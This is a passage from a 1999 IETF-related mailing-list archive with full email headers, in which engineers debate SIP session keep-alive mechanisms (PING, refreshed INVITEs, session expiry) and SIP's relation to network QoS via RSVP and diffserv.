other options and criteria that should be factored into the analysis?

Steve

> -----Original Message-----
> From: Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
> Sent: Wednesday, January 20, 1999 2:27 PM
> To:   Henning Schulzrinne
> Cc:   TDorcey@ixl.com; Adam.Roach@Ericsson.com; confctrl@ISI.EDU
> Subject:  Re: Proxy Server Inconsistancies
> 
> Henning Schulzrinne wrote:
> > 
> 
> > > I understand the point that a SIP keep alive would typically be
> redundant
> > > with media exchange, but I don't believe this is universally true.
> E.g.,
> > > suppose I want to monitor a sleeping infant, and I use a media
> encoding
> > > that doesn't transmit anything during periods of inactivity.  I can
> imagine
> > > other "shared presence" applications, where little media is exchanged,
> the
> > > point is in the potential.  I don't believe a media transport agent
> has any
> > > intrinsic "keep alive" responsibilities; it simply must insure that
> WHEN it
> > > is transmitting data, there is someone to receive it.  What needs to
> be
> > > "kept alive" (or, actually, allowed to time-out) is the "in
> conference"
> > > state.  I don't think we can assume that the desired liveliness of the
> "in
> > > conference" state is proportional to the liveliness of the media
> exchange.
> > >
> > > How about something like a DURATION or TTL parameter on the INVITE?
> So,
> > > the meaning would be something like "I invite you to be in conference
> with
> > > me for the next 4 minutes."  Re-INVITEs would need to be sent
> periodically
> > > to keep the conference going.  I have not got into the spec enough to
> > > understand all of the implications of this, but it seems
> straightforward in
> > > principle.
> > 
> > Note that the session description (at least for SDP) already has
> > duration information. INVITE does have an Expires header. See the
> > following text:
> > 
> > For {\INVITE} requests, it is a request and response-header field.  In a
> > request, the caller can limit the validity of an invitation, for
> > example, if a client wants to limit the time duration of a search or a
> > conference invitation.  A user interface {\MAY} take this as a hint to
> > leave the invitation window on the screen even if the user is not
> > currently at the workstation.  This also limits the duration of a
> > search.  If the request expires before the search completes, the proxy
> > returns a 408 (Request Timeout) status.  In a 302 (Moved Temporarily)
> > response, a server can advise the client of the maximal duration of the
> > redirection.
> 
> The Expires header is close but not the same thing we are talking about,
> though. Expires limits the duration of the invitation, not the session.
> Once the invitation is accepted, the Expires header has no meaning. 
> 
> -Jonathan R.
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen



From confctrl-owner  Thu Jan 21 13:45:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13937
	for confctrl-outgoing; Thu, 21 Jan 1999 13:45:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13932
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 13:45:33 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA09146
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 13:45:30 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA30478; Thu, 21 Jan 1999 21:44:25 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <DLHVMBVJ>; Thu, 21 Jan 1999 21:44:37 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85773B7@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Adam.Roach@Ericsson.com'" <Adam.Roach@Ericsson.com>
Cc: confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies
Date: Thu, 21 Jan 1999 21:44:36 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE4587.3D88768C"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE4587.3D88768C
Content-Type: text/plain



> -----Original Message-----
> From:	Adam.Roach@Ericsson.com [SMTP:Adam.Roach@Ericsson.com]
> 
	...snip...

> >The third approach seems to minimize the amount of messaging required.
> 
> I'm not sure how; for each call-confirmation period, there would be
> three messages passed back and forth (INVITE, response, ACK). This
> looks like it is the most message-intensive proposal so far.
> 
> (Actually, a non-recurring SUBSCRIBE/NOTIFY implementation would be
> even more expensive, requiring a four message "SUBSCRIBE, response,
> NOTIFY, response" sequence).
> 
	My primary concern with the amount of messages was with option 2
when there are multiple proxies involved in the session.  If each proxy
sends the PING according to its schedule, their could be an inordinate
number of PINGs floating around in the network.  This could be dealt with by
a proxy only sending a PING if it has not seen a PING/ACK combination for a
specified period of time.

	Option 1 has a similar problem if each proxy involved needs to send
a SUBSCRIBE to each participant in the session and each user agent involved
in the session needs to send a NOTIFY to each proxy involved.

	I don't see the need for the ACK in the INVITE, response, ACK
sequence, and I would think it would be defined such that only one
participant in the session would extend the length of the session.  This
would be compared to the proxy needing to send a PING to both parties or
receive a NOTIFY from both parties (although one could argue that the NOTIFY
would not need to be responded to).

	...snip...

------_=_NextPart_001_01BE4587.3D88768C
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Proxy Server Inconsistencies</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Adam.Roach@Ericsson.com =
[SMTP:Adam.Roach@Ericsson.com]</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">...snip...</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;The third =
approach seems to minimize the amount of messaging required.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">I'm not sure =
how; for each call-confirmation period, there would be</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">three =
messages passed back and forth (INVITE, response, ACK). This</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">looks like it =
is the most message-intensive proposal so far.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">(Actually, a =
non-recurring SUBSCRIBE/NOTIFY implementation would be</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">even more =
expensive, requiring a four message &quot;SUBSCRIBE, response,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">NOTIFY, =
response&quot; sequence).</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">My primary =
concern with the amount of messages was with option 2 when there are =
multiple proxies involved in the session.&nbsp; If each proxy sends the =
PING according to its schedule, their could be an inordinate number of =
PINGs floating around in the network.&nbsp; This could be dealt with by =
a proxy only sending a PING if it has not seen a PING/ACK combination =
for a specified period of time.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Option 1 has a =
similar problem if each proxy involved needs to send a SUBSCRIBE to =
each participant in the session and each user agent involved in the =
session needs to send a NOTIFY to each proxy involved.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">I don't see the =
need for the ACK in the INVITE, response, ACK sequence, and I would =
think it would be defined such that only one participant in the session =
would extend the length of the session.&nbsp; This would be compared to =
the proxy needing to send a PING to both parties or receive a NOTIFY =
from both parties (although one could argue that the NOTIFY would not =
need to be responded to).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">...snip...</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE4587.3D88768C--

From confctrl-owner  Thu Jan 21 15:21:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA18265
	for confctrl-outgoing; Thu, 21 Jan 1999 15:21:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA18255
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 15:21:24 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA20799
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 15:21:23 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id RAA29332;
	Thu, 21 Jan 1999 17:22:30 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id RAA11393;
	Thu, 21 Jan 1999 17:20:51 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA00733; Thu, 21 Jan 1999 17:20:49 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id RAA09080; Thu, 21 Jan 1999 17:22:02 -0600 (CST)
Message-Id: <199901212322.RAA09080@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: Steven.R.Donovan@mci.com (Donovan, Steven R.)
Date: Thu, 21 Jan 1999 17:22:01 -0600 (CST)
Cc: Adam.Roach@ericsson.com, confctrl@ISI.EDU
In-Reply-To: <CA6966C24AC6D111B5A100805FEAB7D85773B7@nsrip00208.mcit.com> from "Donovan, Steven R." at Jan 21, 99 09:44:36 pm
From: Adam.Roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
>
>	My primary concern with the amount of messages was with option 2
>when there are multiple proxies involved in the session.  If each proxy
>sends the PING according to its schedule, their could be an inordinate
>number of PINGs floating around in the network.  This could be dealt with by
>a proxy only sending a PING if it has not seen a PING/ACK combination for a
>specified period of time.

Since it makes no sense for stateless proxies to send a PING, it's
really only proxies in the chain that maintain call state for the
duration of the call we need to worry about. If we allow these
proxies to process PING requests locally, the problem of superfluous
PINGs goes away. In any given proxy chain, each link will carry
PINGs *only* between the two closest stateful servers (proxies
or UAS:s)

>	Option 1 has a similar problem if each proxy involved needs to send
>a SUBSCRIBE to each participant in the session and each user agent involved
>in the session needs to send a NOTIFY to each proxy involved.

This could be solved similarly to what I described above, but the 
semantics get more confusing.

>	I don't see the need for the ACK in the INVITE, response, ACK
>sequence...

Not having it there adds additional complication to the already
confusing world of INVITE final response handling. (New rules would
include: don't send an ACK when you receive a final response for an
INVITE request involving a currently ongoing session, but ONLY if
none of the session parameters have changed).

>...and I would think it would be defined such that only one
>participant in the session would extend the length of the session. This
>would be compared to the proxy needing to send a PING to both parties or
>receive a NOTIFY from both parties (although one could argue that the NOTIFY
>would not need to be responded to).

In the same vein, there is nothing preventing a proxy from PINGing
only one client involved in the call. Both have the same implications.

/a

From confctrl-owner  Thu Jan 21 16:50:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA22006
	for confctrl-outgoing; Thu, 21 Jan 1999 16:50:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA21988
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 16:49:59 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA04749
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 16:49:58 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id SAA02719;
	Thu, 21 Jan 1999 18:51:05 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id SAA25784;
	Thu, 21 Jan 1999 18:49:22 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id SAA07754; Thu, 21 Jan 1999 18:49:21 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id SAA09398; Thu, 21 Jan 1999 18:50:33 -0600 (CST)
Message-Id: <199901220050.SAA09398@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: John.H.Hearty@mci.com (John Hearty)
Date: Thu, 21 Jan 1999 18:50:33 -0600 (CST)
Cc: confctrl@ISI.EDU
In-Reply-To: <19990121212547.BBTK5654@localHost> from "John Hearty" at Jan 21, 99 03:20:00 pm
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From: John Hearty <John.H.Hearty@mci.com>
>
>>There may be the need for a maximum session expires
>>duration to prevent a user agent from specifying the year 2100 as the
>>expires time of a session.
>
> If approach #3 was pursued, a minimum value for the session expires
>duration would also be needed so applications don't overload SIP servers
>sending updated INVITEs once a second, for example.  Users might otherwise
>want it low to minimize charges for sessions dropped without a BYE for
>some reason.

It seems that handling billing at the session layer would be
somewhat problematic, anyway. As you point out, even a server-driven
solution requires a keep-alive or PING with a frequency representing 
the smallest billing unit; this might be somewhat onerous.

On the other hand, the media channel (assuming you are contemplating
billing for a voice call) is much better equipped for making billing
determinations (you know within the time it takes to send a few
media packets -- fractions of a second -- that the call is down). 

For other session types, billing for session duration makes less 
sense than e.g. charging for network resources or charging per 
transaction (in a model with potentially multilple transactions in
a session) -- information that won't necessarily be available to 
the session layer.

/a

From confctrl-owner  Thu Jan 21 16:54:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA22148
	for confctrl-outgoing; Thu, 21 Jan 1999 16:54:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA22143
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 16:54:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA05270
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 16:54:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan 21 19:52:04 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.98])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id TAA09654;
	Thu, 21 Jan 1999 19:51:57 -0500 (EST)
Message-ID: <36A7CB74.49A4B06B@dnrc.bell-labs.com>
Date: Thu, 21 Jan 1999 19:51:00 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: "Donovan Steven R." <Steven.R.Donovan@mci.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901212120.PAA08218@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 

> [And, in a different message]
> 
> >On a more tactical note, I would think that given the uncertainty as to
> >what's desired, we should not try to modify the current spec, about to
> >be declared a proposed standard, but rather work on an extension, since
> >SIP has a pretty clean method of adding those. We can then experiment
> >with different options and proceed as we gain confidence in the
> >solution.
> 
> Given that support of any keepalive mechanism should be mandatory
> in order to be at all useful, it seems a bit shortsighted to leave
> it out of the first version of the specification, does it not?

It still seems to me that this is largely a non-issue. The spec
currently says a BYE SHOULD be sent, and under normal situations, it
will. With Record-Route, this means a stateful proxy will know the
session state in most cases. So, we have yet to see if this is really a
problem.

> >1) Add a user agent based session keep alive message (I'm still involved in
> >this session).  The proxy would tear down the session if the keep alive was
> >not received within a predefined timer.
> 
> (e.g. SUBSCRIBE/NOTIFY)
> 
> While such a mechanism would solve the problem within the current
> framework of the protocol, there are a couple of issues:

SUBSCRIBE and NOTIFY are not at all what I interpet this to mean. To me,
it means that the caller periodically retransmits the INVITE to keep the
session "alive" at stateful proxies and the UAS. Should the caller fail
to send it, or should the callee fail to respond, all parties involved
would then know the session has ended non-gracefully.

Doing this is easy. We add a header field called "Refresh", which is set
by the UAC in the re-INVITEs. Proxies MAY increase the value as the
re-INVITE is forwarded, but shouldn't decrease it. The UAS MAY then
increase it, and reflect the final value in the response. All stateful
proxies and the UAC then note the refresh value. The UAC must then
re-issue an INVITE before the time expires. If it doesn't everyone knows
the call is terminated. This solution requires the UAC to know about it.
It can be optional (and thus no Require header placed in the request),
and the UAC and all proxies will know if the UAS doesn't support it, if
the response contains no Refresh header. If made mandatory, the UAS will
fail the response if it doesn't support keepalives.

As an alternative, SDP can already specified sessions bounded in time.
Thus, one possibility is to forgo any new header fields and simply use
this. But, if we had to choose I'd rather do it with a SIP header.

> 
> a) As I mentioned above, to be useful, a keep-alive must be
>    mandatory (otherwise, you'll have some stateful proxy servers unable
>    to interoperate with clients which are compliant or conditionally
>    compliant). SUBSCRIBE and NOTIFY should probably remain optional
>    for a client due to their level of complexity. (Could we even
>    make them mandatory, since they're in a separate document?)

I'm unsure even how SUBSCRIBE/NOTIFY would work. Who is subscribing (the
proxies?) and to what? If they are subscribing to the event "call
terminated", this is totally redundant since BYE serves exactly this
purpose. Plus, there are security implications to allowing proxies to
subscribe to call state. SUBSCRIBE/NOTIFY doesn't give periodic
refreshes; thats the whole point - you don't need to poll.


> 
> b) This implementation requires the addition of timers in a client.
>    Currently, a simple, single-threaded client without re-entrancy or
>    complicated signal handling is possible. By adding a timer
>    requirement on the clients, this all changes.

Clients will need timers to support request/response retransmission. For
TCP, responses must still be retransmitted.


> >2) Add a proxy based session ping message (Are you still involved in this
> >session).  The proxy would wait for a response to the ping request.  If no
> >response is received within a predefined time then the proxy would tear down
> >the session.
> 
>  From an implementation point of view, this adds only the requirement
> to handle one more message, in a method very similar to other messages.
> In fact, for most client implementations, the code to handle a PING
> can be identical to that handling a BYE, except without cancelling
> a session. Supporting this additional method would require a single
> well-placed "break" or "return" statement, in most cases. (Not to
> let my language bias show through, but I think it gets the idea across).

This doesn't seem to be better in any measurable way from (1) (at least,
from my interpretation of (1). Its more messages, a new method (as
opposed to a new header), and more complex.

> 
> >3) Adding a session expires parameter to the Invite.  The expires time could
> >be updated with a subsequent invite for the session.  The proxy would have
> >the ability to tear down the session when the session time has expired.
> >This would presumably be achieved by the proxy sending a BYE to both parties
> >involved in the call.  There may be the need for a maximum session expires
> >duration to prevent a user agent from specifying the year 2100 as the
> >expires time of a session.

This seems identical to my interpretation of (1), but I don't see why
the proxy needs to send a BYE. Since the user agents know about this
mechanism, if the timeot expires all parties involved will know and the
call terminates without having to send a BYE.


> >Based on those two criteria, the third option seems preferable.  Are there
> >other options and criteria that should be factored into the analysis?
> 
> I think that the addition of a method which is mandatory for UAS
> implementations should be as simple as possible, to ensure universal
> support. As we've seen in other protocols, even if a requirement
> is considered mandatory, if it is too difficult then it will fall
> between the cracks for enough clients to be useless for the others.
> 
> If message overhead is such a major concern, we could define a behaviour
> for PING that results in one message per period in a compliant case,
> and two per period in a conditionally compliant case. By adding a
> header to the ping method, "Period," we can request that the client
> re-send a ping response every n seconds. If the proxy fails to hear
> from the client within that time period, it re-sends a PING. By making
> support of the "Period" header a SHOULD, we allow simple clients to
> wait for the proxy retransmission, while giving more savvy clients
> the capability to cut down on network traffic by sending pre-emptive
> responses. The only problem with this is that it introduces the
> concept of multiple final responses for a message (unless we add
> a 1xx-class message as the recurring response to a PING -- which
> may be a useful differentiation anyway, since it will let the
> requesting server know whether to expect future periodic responses).

This notion of not resending the PING request doesn't work with UDP,
since request retransmissions are needed to ensure reliability.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 21 17:12:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA22858
	for confctrl-outgoing; Thu, 21 Jan 1999 17:12:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA22853
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 17:12:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA07358
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 17:12:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan 21 20:10:56 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.98])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA10026;
	Thu, 21 Jan 1999 20:10:53 -0500 (EST)
Message-ID: <36A7CFE7.BE49C6D8@dnrc.bell-labs.com>
Date: Thu, 21 Jan 1999 20:09:59 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Paul E. Jones" <paul.jones@ties.itu.int>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: SIP
References: <02ea01be4596$160638b0$aec965c0@pjones.databeam.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Paul E. Jones wrote:
> 
> Henning Schulzrinne wrote:
> >SIP does not control network resource usage; that's the role of RSVP,
> >diff-serv, etc. Indeed, it likely avoids the signaling overload problem
> >encountered by traditional PSTN services as it may bypass all but the
> >final end system. Since SIP can transmit limited out-of-band data, the
> >California earthquake situation would actually handled much more readily
> >by SIP:
> >
> >INVITE joe@sf.ca.us
> >From: mary@sj.ca.us
> >Subject: I'm fine but all the china is in pieces
> 
> Are there any efforts going on inside the IETF or in other groups to define
> a complete IP telephony solution using SIP?  That is, are there any
> documents in existence or under construction that provide guidance to
> implementers or service providers that address bandwidth issues, user
> location, security, roaming, etc.  Is anyone addressing the issues of lawful
> interception or access to emergency services in the SIP environment?

Some of these issues are being addressed; SIP itself addresses security,
relying in part on existing mechanisms, such as TLS or IPSEC. User
location is one of the features of SIP; work is going on in the enum
group (not yet a working group) around doing it for telephone numbers. I
know of efforts regarding roaming services and emergency services (a
REALLY hard problem in an Internet context), but nothing at the
standards level.

However, there is currently no IETF effort to specify a "complete
solution" for IP telephony. In general, this is not something IETF does.
It is good at making nice, general purpose, modular protocols, and the
job of putting it all together for a complete solution is something that
the service providers and vendors do, as there is more than one right
way, and it leaves room for growth and value add. 

Seems to have worked so far; there are many applications on the net
which involve a mix of protocols. THe web is certainly one example - it
relies on http, of course, but also on back end directory services for
dynamic content, HTML, Java, Javascript, HTTP-CGI, cache replication
protocols, and lots of media types and plugins. There is no one spec
which tells vendors what to implement in their servers.

> 
> In order to deploy a global IP telephony solution based on SIP and related
> technologies, we must have a standard that addresses the "loose ends" that
> the protocols by themselves do not.

I'm not yet convinced that we "MUST" have such a standard. I agree there
must be solutions to the various component problems, but not all in one,
birthday wrapped solution. Grandiose, all encompassing solutions have a
bad habit of never making it.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 21 17:52:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA25305
	for confctrl-outgoing; Thu, 21 Jan 1999 17:52:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25300
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 17:52:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA12408
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 17:52:03 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan 21 20:51:32 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.98])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA10764;
	Thu, 21 Jan 1999 20:51:29 -0500 (EST)
Message-ID: <36A7D96B.758462A2@dnrc.bell-labs.com>
Date: Thu, 21 Jan 1999 20:50:35 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Douglas Clowes <dclowes@ozemail.com.au>
CC: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: SIP
References: <025d01be457f$98ac62b0$aec965c0@pjones.databeam.com> <3.0.3.32.19990122105229.00769e48@mail.ozemail.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Douglas Clowes wrote:
> 
> >There are several issues here that are being roled into one. SIP does
> >not address network QoS. That is left to other mechanisms, such as RSVP
> >and/or diffserv. With RSVP, routers would reject reservations once the
> >capacity in a router is reached. With diffserv, border routers will have
> >policers to make sure that people abide by their SLA's; other mechanisms
> >might be put in place to deal with overloads. The problem you mention is
> >not SIP specific at all (which is why network QoS is not addressed in
> >SIP). What happens if everyone tries to send email? Or enter chat rooms?
> >Or make H.323 calls?
> 
> Well, H.323 bandwidth management in the H.323 gatekeeper will come into
> play. Of course, it will only limit H.323 calls and all the SIP, email and
> chat traffic will make it meaningless.
> 
> I expect similar controls, introduced into SIP to have a similar lack of
> intended effect.

Yup. Controls in a SIP server are good for localized policy decisions,
(Joe can't make video calls), but for decisions based on global network
state - well, thats really not feasible.


> Some sort of bandwidth management, and payload prioritization, is required
> to offer some level of control over QoS. That is, and ought to be, outside
> of SIP/H.323 and firmly within the underlying transport system which, at
> least for H.323 (and I suspect for SIP), can be something other than IP.
> 
> As I understand it, and Jonathan will correct me if I'm wrong, RSVP is
> supposed to "gurantee" bandwidth, while diffserv will prioritize the
> traffic. In the former case, the call should be good or fail while in the
> latter, if there is too much "high priority" traffic it will all be bad.

Actually, its not if there's too much high priority, its if the amount
of high priority traffic reaches link bandwidths. If you implement the
EF PHB using a priority queue, and you expect on average 10% of the
network bandwidth to be voice (which the ISP marks as EF), in an
absolute catastrophe there is still 90% of the bandwidth left that the
priority queue could usurp. If a priority queue isn't used it might be
less. So, in a network with lots more data traffic than voice, things
might work quite nicely - except for the poor folks trying to send email
:)

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 21 18:04:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA25966
	for confctrl-outgoing; Thu, 21 Jan 1999 18:04:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA25961
